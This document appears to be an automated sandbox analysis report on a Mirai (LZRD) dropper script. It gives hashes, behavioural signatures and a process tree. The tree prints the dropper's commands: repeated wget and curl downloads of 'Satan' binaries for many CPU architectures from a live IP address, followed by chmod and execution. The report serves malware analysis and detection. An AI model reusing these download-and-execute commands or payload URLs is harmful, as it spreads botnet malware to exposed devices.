Analysis

  • max time kernel
    137s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20-11-2024 22:52

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    f9c8b9116a6544ef8d58828792753e7c

  • SHA1

    5c6d5022d286ea418696cb67741df180e5cfc9b4

  • SHA256

    9728623b44f5e32acfd770915d4d1b244997a757b4bdf01e5259bcdf9918784b

  • SHA512

    e4c10931ad880f64cd284648287324beb72b76adfbfc55e90abac1c868c00d4209be1b98c3c50fd7c9b1a572a67feefadf74f5c817126a922001ce1f44e7f43e

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:706
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:711
    • /usr/bin/wget
      wget http://193.84.71.119/nice/Satan.arc
      2⤵
      • Writes file to tmp directory
      PID:716
    • /usr/bin/curl
      curl -O http://193.84.71.119/nice/Satan.arc
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:728
    • /bin/cat
      cat Satan.arc
      2⤵
        PID:736
      • /bin/chmod
        chmod +x busybox ohshit.sh Satan Satan.arc systemd-private-90abaa7f28bf46448221e359b1c1d57f-systemd-timedated.service-joDBFK
        2⤵
        • File and Directory Permissions Modification
        PID:737
      • /tmp/Satan
        ./Satan
        2⤵
        • Executes dropped EXE
        PID:738
      • /usr/bin/wget
        wget http://193.84.71.119/nice/Satan.x86
        2⤵
        • Writes file to tmp directory
        PID:741
      • /usr/bin/curl
        curl -O http://193.84.71.119/nice/Satan.x86
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:742
      • /bin/cat
        cat Satan.x86
        2⤵
          PID:743
        • /bin/chmod
          chmod +x busybox ohshit.sh Satan Satan.arc Satan.x86 systemd-private-90abaa7f28bf46448221e359b1c1d57f-systemd-timedated.service-joDBFK
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          PID:745
        • /usr/bin/wget
          wget http://193.84.71.119/nice/Satan.x86_64
          2⤵
          • Writes file to tmp directory
          PID:747
        • /usr/bin/curl
          curl -O http://193.84.71.119/nice/Satan.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:748
        • /bin/cat
          cat Satan.x86_64
          2⤵
            PID:749
          • /bin/chmod
            chmod +x busybox ohshit.sh Satan Satan.arc Satan.x86 Satan.x86_64 systemd-private-90abaa7f28bf46448221e359b1c1d57f-systemd-timedated.service-joDBFK
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/Satan
            ./Satan
            2⤵
            • Executes dropped EXE
            PID:751
          • /usr/bin/wget
            wget http://193.84.71.119/nice/Satan.i686
            2⤵
            • Writes file to tmp directory
            PID:753
          • /usr/bin/curl
            curl -O http://193.84.71.119/nice/Satan.i686
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:754
          • /bin/cat
            cat Satan.i686
            2⤵
              PID:761
            • /bin/chmod
              chmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.x86 Satan.x86_64 systemd-private-90abaa7f28bf46448221e359b1c1d57f-systemd-timedated.service-joDBFK
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/Satan
              ./Satan
              2⤵
              • Executes dropped EXE
              PID:764
            • /usr/bin/wget
              wget http://193.84.71.119/nice/Satan.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:767
            • /usr/bin/curl
              curl -O http://193.84.71.119/nice/Satan.mips
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:774
            • /bin/cat
              cat Satan.mips
              2⤵
              • System Network Configuration Discovery
              PID:786
            • /bin/chmod
              chmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.x86 Satan.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:787
            • /tmp/Satan
              ./Satan
              2⤵
              • Executes dropped EXE
              PID:788
            • /usr/bin/wget
              wget http://193.84.71.119/nice/Satan.mips64
              2⤵
              • System Network Configuration Discovery
              PID:790
            • /usr/bin/curl
              curl -O http://193.84.71.119/nice/Satan.mips64
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:795
            • /bin/cat
              cat Satan.mips64
              2⤵
              • System Network Configuration Discovery
              PID:803
            • /bin/chmod
              chmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.x86 Satan.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:805
            • /tmp/Satan
              ./Satan
              2⤵
              • Executes dropped EXE
              PID:807
            • /usr/bin/wget
              wget http://193.84.71.119/nice/Satan.mpsl
              2⤵
              • Writes file to tmp directory
              PID:810
            • /usr/bin/curl
              curl -O http://193.84.71.119/nice/Satan.mpsl
              2⤵
              • Writes file to tmp directory
              PID:817
            • /bin/cat
              cat Satan.mpsl
              2⤵
                PID:820
              • /bin/chmod
                chmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                2⤵
                • File and Directory Permissions Modification
                PID:821
              • /tmp/Satan
                ./Satan
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Writes file to system bin folder
                • Reads runtime system information
                PID:822
              • /usr/bin/wget
                wget http://193.84.71.119/nice/Satan.arm
                2⤵
                • Writes file to tmp directory
                PID:833
              • /usr/bin/curl
                curl -O http://193.84.71.119/nice/Satan.arm
                2⤵
                • Writes file to tmp directory
                PID:839
              • /bin/cat
                cat Satan.arm
                2⤵
                  PID:848
                • /bin/chmod
                  chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:849
                • /tmp/Satan
                  ./Satan
                  2⤵
                  • Executes dropped EXE
                  PID:850
                • /usr/bin/wget
                  wget http://193.84.71.119/nice/Satan.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:853
                • /usr/bin/curl
                  curl -O http://193.84.71.119/nice/Satan.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:861
                • /bin/cat
                  cat Satan.arm5
                  2⤵
                    PID:866
                  • /bin/chmod
                    chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:867
                  • /tmp/Satan
                    ./Satan
                    2⤵
                    • Executes dropped EXE
                    PID:868
                  • /usr/bin/wget
                    wget http://193.84.71.119/nice/Satan.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:870
                  • /usr/bin/curl
                    curl -O http://193.84.71.119/nice/Satan.arm6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:871
                  • /bin/cat
                    cat Satan.arm6
                    2⤵
                      PID:872
                    • /bin/chmod
                      chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:873
                    • /tmp/Satan
                      ./Satan
                      2⤵
                      • Executes dropped EXE
                      PID:874
                    • /usr/bin/wget
                      wget http://193.84.71.119/nice/Satan.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:876
                    • /usr/bin/curl
                      curl -O http://193.84.71.119/nice/Satan.arm7
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:877
                    • /bin/cat
                      cat Satan.arm7
                      2⤵
                        PID:878
                      • /bin/chmod
                        chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:879
                      • /tmp/Satan
                        ./Satan
                        2⤵
                        • Executes dropped EXE
                        PID:880
                      • /usr/bin/wget
                        wget http://193.84.71.119/nice/Satan.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:882
                      • /usr/bin/curl
                        curl -O http://193.84.71.119/nice/Satan.ppc
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:883
                      • /bin/cat
                        cat Satan.ppc
                        2⤵
                          PID:884
                        • /bin/chmod
                          chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.x86 Satan.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:885
                        • /tmp/Satan
                          ./Satan
                          2⤵
                          • Executes dropped EXE
                          PID:886
                        • /usr/bin/wget
                          wget http://193.84.71.119/nice/Satan.sparc
                          2⤵
                            PID:888
                          • /usr/bin/curl
                            curl -O http://193.84.71.119/nice/Satan.sparc
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:889
                          • /bin/cat
                            cat Satan.sparc
                            2⤵
                              PID:890
                            • /bin/chmod
                              chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:891
                            • /tmp/Satan
                              ./Satan
                              2⤵
                              • Executes dropped EXE
                              PID:892
                            • /usr/bin/wget
                              wget http://193.84.71.119/nice/Satan.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:893
                            • /usr/bin/curl
                              curl -O http://193.84.71.119/nice/Satan.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:894
                            • /bin/cat
                              cat Satan.m68k
                              2⤵
                                PID:895
                              • /bin/chmod
                                chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:896
                              • /tmp/Satan
                                ./Satan
                                2⤵
                                • Executes dropped EXE
                                PID:897
                              • /usr/bin/wget
                                wget http://193.84.71.119/nice/Satan.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:899
                              • /usr/bin/curl
                                curl -O http://193.84.71.119/nice/Satan.sh4
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:900
                              • /bin/cat
                                cat Satan.sh4
                                2⤵
                                  PID:901
                                • /bin/chmod
                                  chmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sh4 Satan.sparc Satan.x86 Satan.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:902
                                • /tmp/Satan
                                  ./Satan
                                  2⤵
                                  • Executes dropped EXE
                                  PID:903

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/Satan

                                Filesize

                                37KB

                                MD5

                                edf612986dba9abff11a7530fa06d3c2

                                SHA1

                                c39e5ecf48ed660df4c93353744955bebfb91636

                                SHA256

                                d7800781555066e97a3165a99ca416c452f0d60d9160fdcc62e842311c8664f0

                                SHA512

                                0dd292e9760c9ac15b06809133d8296f21250085c803585be73abcd1d1faacbf07bb28a0703943f65c0bc66e0c6311b3342a1c39e118dfae6491b5f7b7eeda9f

                              • /tmp/Satan

                                Filesize

                                36KB

                                MD5

                                e4df8be7344cd39e0a8e908adbe23cd4

                                SHA1

                                0a3fa93b2ef3b28f3bdbd9b5b7774d85205d6d86

                                SHA256

                                c765671d83adf38b777ecf372154f3b6cb163a429ab97256b91bb17f7600fcc8

                                SHA512

                                c76d538d2a6a5ffbde826f2f6265bbd2580d3843bc72c7064b106ddb5e181e3cb57b60578bf0ec9b24c45aee42d94dbd9ed3145d5035439090c743ec0388691d

                              • /tmp/Satan

                                Filesize

                                37KB

                                MD5

                                41e05e860b010e5fcd45b4d31066a4d5

                                SHA1

                                c9323c177e80e8ca771b71a8870c56cd57d120b9

                                SHA256

                                b0620d51cbff58f2554d63d5b4ba4876ca09ce6b6e573e8f6617fa62d32444b7

                                SHA512

                                5063587d8cab6d5c292b408f6936c227ad2b9c7ccaaf7ce01d215f63ba800ce0186fd7903e761cb2ef25cc82e0471d452f4941381fa86819fa2980160f214878

                              • /tmp/Satan

                                Filesize

                                43KB

                                MD5

                                0f9243f3bb330ae152066d721cae99c9

                                SHA1

                                7757b9813ca2ae175aa4be68a194b059159688e3

                                SHA256

                                5d98715cda4a5de8bea0830b8b7dc2823820b1e374b783e314c2ee8c539b262b

                                SHA512

                                3e858e572abc6d2d0dd79da888f470fcb334e3a200e18e0b766056662890b0f0371185f82f9b89c2a505db905ad7d836d0353c54f8e3aef8028ffcf5cb7c20f1

                              • /tmp/Satan

                                Filesize

                                95KB

                                MD5

                                e855606f81d646856b3857b261cb2be2

                                SHA1

                                121870729f8a383619bcb14fd6c866dbfd7db5ea

                                SHA256

                                1bd89bdcd34e8f2d98d96c2492560fd584f359e266377486ec18295b16d7617d

                                SHA512

                                1713bacb79648b18bd57b082aa2001cec6edaa6e8b5ccf7d20a04bba5b15ed80f1f3a45c9a0c240263dd90e3781f9cad5c1a41738d6306c2ca46a923e53a1b5e

                              • /tmp/Satan.arc

                                Filesize

                                113KB

                                MD5

                                9de12c22a69d095a6338587f24e647d6

                                SHA1

                                ebfed805c282dad0b14dff439244389eba88e1f3

                                SHA256

                                74843b368ce9364f2e19a07dcd1f51e7a066da82dfdbddd71a0329fd1b13850a

                                SHA512

                                bcc5ea5ab6596a9dc8cf5a68c43e33b5a1535eef962a46f0a61ecdc78b8df42b1eac717d7e2fb398b8b88150499057c4cedbda1d3c2de664d5523f117e834c1f

                              • /tmp/busybox

                                Filesize

                                857KB

                                MD5

                                6ffc46165b5d9726a6607f3ea5305589

                                SHA1

                                ab127220f42e816b413dde0d17031e251a7bc98f

                                SHA256

                                80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                                SHA512

                                456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

                              • memory/822-1-0x00400000-0x0043affc-memory.dmp